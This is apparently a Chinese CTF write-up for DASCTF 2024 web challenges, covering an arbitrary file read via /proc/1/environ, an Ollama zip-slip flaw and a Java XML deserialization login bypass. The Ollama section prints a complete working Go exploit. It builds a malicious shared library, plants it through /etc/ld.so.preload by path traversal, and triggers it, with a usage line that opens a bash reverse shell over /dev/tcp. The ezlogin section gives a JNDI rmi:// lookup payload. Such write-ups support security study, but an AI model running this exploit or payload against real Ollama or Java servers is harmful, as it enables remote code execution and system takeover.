前言
web剩下3题全场零解,7小时真能做吗哥
官方wp:https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#
https://zer0peach.github.io/2024/10/24/DASCTF-2024%E9%87%91%E7%A7%8B%E5%8D%81%E6%9C%88/
CHECKIN
f12获取DASCTF{2024.10.19.DASCTF10.Welc0me.T0}
flow
进去发现是个任意文件读取
/proc/self/cmdline:python3 /app/main.py
/app/main.py:
from flask import Flask, request, render_template_string, abort
app = Flask(__name__)
HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Flask Web Application</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="display-4 text-center">Welcome to My Flask App</h1>
<p class="lead text-center">This is a simple web app using Flask.</p>
<div class="text-center">
<a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
</div>
</div>
</body>
</html>
'''
@app.route('/')
def index():
return render_template_string(HOME_PAGE_HTML)
@app.route('/file')
def file():
file_name = request.args.get('f')
if not file_name:
return "Error: No file parameter provided.", 400
try:
with open(file_name, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return abort(404, description="File not found.")
except Exception as e:
return f"Error reading file.", 500
if __name__ == '__main__':
app.run(host="127.0.0.1", port=8080)
任意文件读取就没了?
/proc/1/environ 秒了
ollama4shell(Unsolved)
https://github.com/advisories/GHSA-846m-99qv-67mg
跟一下漏洞代码的调用链
https://github.com/ollama/ollama/blob/main/server/routes.go#L1134
r.POST("/api/create", s.CreateHandler)
https://github.com/ollama/ollama/blob/main/server/routes.go#L620
if err := CreateModel(ctx, name, filepath.Dir(r.Path), strings.ToUpper(quantization), f, fn); errors.Is(err, errBadTemplate) {
ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest}
}
https://github.com/ollama/ollama/blob/main/server/images.go#L421
func CreateModel(ctx context.Context, name model.Name, modelFileDir, quantization string, modelfile *parser.File, fn func(resp api.ProgressResponse)) (err error) {
...
else if file, err := os.Open(realpath(modelFileDir, c.Args)); err == nil {
defer file.Close()
baseLayers, err = parseFromFile(ctx, command, baseLayers, file, "", fn)
if err != nil {
return err
}
}
https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L220
func parseFromFile(ctx context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
sr := io.NewSectionReader(file, 0, 512)
contentType, err := detectContentType(sr)
if err != nil {
return nil, err
}
switch contentType {
case "gguf", "ggla":
// noop
case "application/zip":
return parseFromZipFile(ctx, file, digest, fn)
https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L140
func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
...
if err := extractFromZipFile(tempDir, file, fn); err != nil {
return nil, err
}
https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L81
func extractFromZipFile(p string, file *os.File, fn func(api.ProgressResponse)) error {
stat, err := file.Stat()
if err != nil {
return err
}
r, err := zip.NewReader(file, stat.Size())
if err != nil {
return err
}
fn(api.ProgressResponse{Status: "unpacking model metadata"})
for _, f := range r.File {
n := filepath.Join(p, f.Name)
if !strings.HasPrefix(n, p) {
slog.Warn("skipped extracting file outside of context", "name", f.Name)
continue
}
if err := os.MkdirAll(filepath.Dir(n), 0o750); err != nil {
return err
}
// TODO(mxyng): this should not write out all files to disk
outfile, err := os.Create(n)
if err != nil {
return err
}
defer outfile.Close()
infile, err := f.Open()
if err != nil {
return err
}
defer infile.Close()
if _, err = io.Copy(outfile, infile); err != nil {
return err
}
if err := outfile.Close(); err != nil {
return err
}
if err := infile.Close(); err != nil {
return err
}
}
return nil
}
翻api文档:https://github.com/ollama/ollama/blob/main/docs/api.md
先拉个镜像下来
思路就是通过zip slip上传 ld.so.preload 到 /etc/ld.so.preload 用于加载恶意 so,之后随便在官方模型站 pull 一个比较小的模型,最后再使用 /api/embeddings 接口加载这个模型,加载模型时会调用 ollama 命令开启一个新进程从而加载恶意 so 执行任意命令。
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
package main
import (
"archive/zip"
"bufio"
"bytes"
"crypto/sha256"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"os/exec"
"strconv"
"strings"
)
const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) myInitFunction() {
const char *f1 = "/etc/ld.so.preload";
const char *f2 = "/tmp/hook.so";
unlink(f1);
unlink(f2);
system("bash -c '%s'");
}`
func main() {
var targetUrl string
var execCmd string
flag.StringVar(&targetUrl, "target", "", "target url")
flag.StringVar(&execCmd, "exec", "", "exec command")
flag.Parse()
if targetUrl == "" {
fmt.Println("target url is required")
os.Exit(1)
}
u := FormatUrl(targetUrl)
detectRes, err := Detect(u)
if err != nil {
log.Fatal(err)
}
if !detectRes {
fmt.Println("\nVulnerability does not exist")
os.Exit(1)
}
fmt.Println("\nVulnerability does exist!!!")
if execCmd == "" {
fmt.Println("exec command is required")
os.Exit(1)
}
_, err = GenEvilSo(execCmd)
if err != nil {
log.Fatal(err)
}
evilZipName, err := GenEvilZip()
if err != nil {
log.Fatal(err)
}
blobSha256Name, err := UploadBlob(u, evilZipName)
if err != nil {
log.Fatal(err)
}
err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
if err != nil {
log.Fatal(err)
}
err = EmbeddingsExec(u, "all-minilm:22m")
if err != nil {
log.Fatal(err)
}
}
func GenEvilSo(cmd string) (string, error) {
code := fmt.Sprintf(CODE, cmd)
err := os.WriteFile("tmp.c", []byte(code), 0644)
if err != nil {
return "", err
}
compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
err = compile.Run()
if err != nil {
fmt.Println(err)
return "", err
}
return "hook.so", nil
}
func GenEvilZip() (string, error) {
zipFile, err := os.Create("evil.zip")
if err != nil {
return "", err
}
zw := zip.NewWriter(zipFile)
preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
_, err = preloadFile.Write([]byte("/tmp/hook.so"))
if err != nil {
return "", err
}
soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
if err != nil {
return "", err
}
locSoFile, err := os.Open("hook.so")
if err != nil {
return "", err
}
defer locSoFile.Close()
io.Copy(soFile, locSoFile)
zw.Close()
zipFile.Close()
return "evil.zip", nil
}
func UploadBlob(url, fileName string) (string, error) {
f, err := os.Open(fileName)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
fName := fmt.Sprintf("sha256:%x", h.Sum(nil))
_, err = f.Seek(0, 0)
if err != nil {
return "", err
}
newReader := bufio.NewReader(f)
res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
if err != nil {
return "", err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return "", err
}
fmt.Println("http log: " + string(content))
return fName, nil
}
func Create(url, remoteFilePath string) error {
jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))
res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}
func EmbeddingsExec(url, model string) error {
for i := 0; i < 3; i++ {
jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}
if res.StatusCode != 200 {
fmt.Println("pulling model, please wait......")
err := PullMinilmModel(url)
if err != nil {
return err
}
} else {
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
break
}
}
return nil
}
func PullMinilmModel(url string) error {
jsonContent := `{"name":"all-minilm:22m"}`
res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}
func Detect(url string) (bool, error) {
res, err := http.Get(url + "/api/version")
if err != nil {
return false, err
}
var jsonMap map[string]string
jsonContent, err := io.ReadAll(res.Body)
if err != nil {
return false, err
}
if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
return false, err
}
return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}
func FormatUrl(u string) string {
ur, err := url.Parse(u)
if err != nil {
fmt.Println(ur)
}
return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}
func isVersionLessThan(version, target string) bool {
v1 := strings.Split(version, ".")
v2 := strings.Split(target, ".")
for i := 0; i < len(v1) && i < len(v2); i++ {
num1, _ := strconv.Atoi(v1[i])
num2, _ := strconv.Atoi(v2[i])
if num1 < num2 {
return true
} else if num1 > num2 {
return false
}
}
return len(v1) < len(v2)
}
ezlogin(Unsolved)
https://www.cnblogs.com/hetianlab/p/17184614.html
// LoginController
@ResponseBody
public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {
try {
User user = UserUtil.login(username, password);
if (user != null) {
session.setAttribute("loggedInUser", user);
return "{\"redirect\": \"/home\"}";
} else {
return "{\"message\": \"login fail!\"}";
}
} catch (Exception var5) {
return "{\"message\": \"error!\"}";
}
}
// auth/UserUtil
public static User login(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return null;
} else {
User user = readUser(userFile);
if (user != null && user.getPassword().equals(password)) {
login_in = true;
return user;
} else {
return null;
}
}
}
private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User)XmlUtil.readObjectFromXml(userFile);
} else {
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}
}
目的明确,构造恶意xml在 readObjectFromXml
打反序列化,过滤了 java.
、 springframework.
、hutool.
,不能直接RCE,注意到有 jackson 库,可以打 jndi 注入触发 jackson 链子
生成xml的地方在这里
public static String register(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (userFile.exists()) {
return "User already exists!";
} else {
String template = "<java>\n <object class=\"org.example.auth.User\">\n <void property=\"username\">\n <string>{0}</string>\n </void>\n <void property=\"password\">\n <string>{1}</string>\n </void>\n </object>\n</java>";
String xmlContent = MessageFormat.format(template, username, password);
FileUtil.writeString(xmlContent, userFile, "UTF-8");
return "Register successful!";
}
}
那么闭合标签在password进行构造,发现有限制长度
public static boolean check(String username, String password) {
String usernameRe = "^[\\x20-\\x7E]{1,6}$";
String passwordRe = "^[\\x20-\\x7E]{3,10}$";
return username.matches(usernameRe) && password.matches(passwordRe);
}
我们要构造的payload:
<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>
这就是这题的关键了,把想要替换的内容通过登录生成JSESSIONID
,然后收集这些session
最后利用那些session对同一个文件进行替换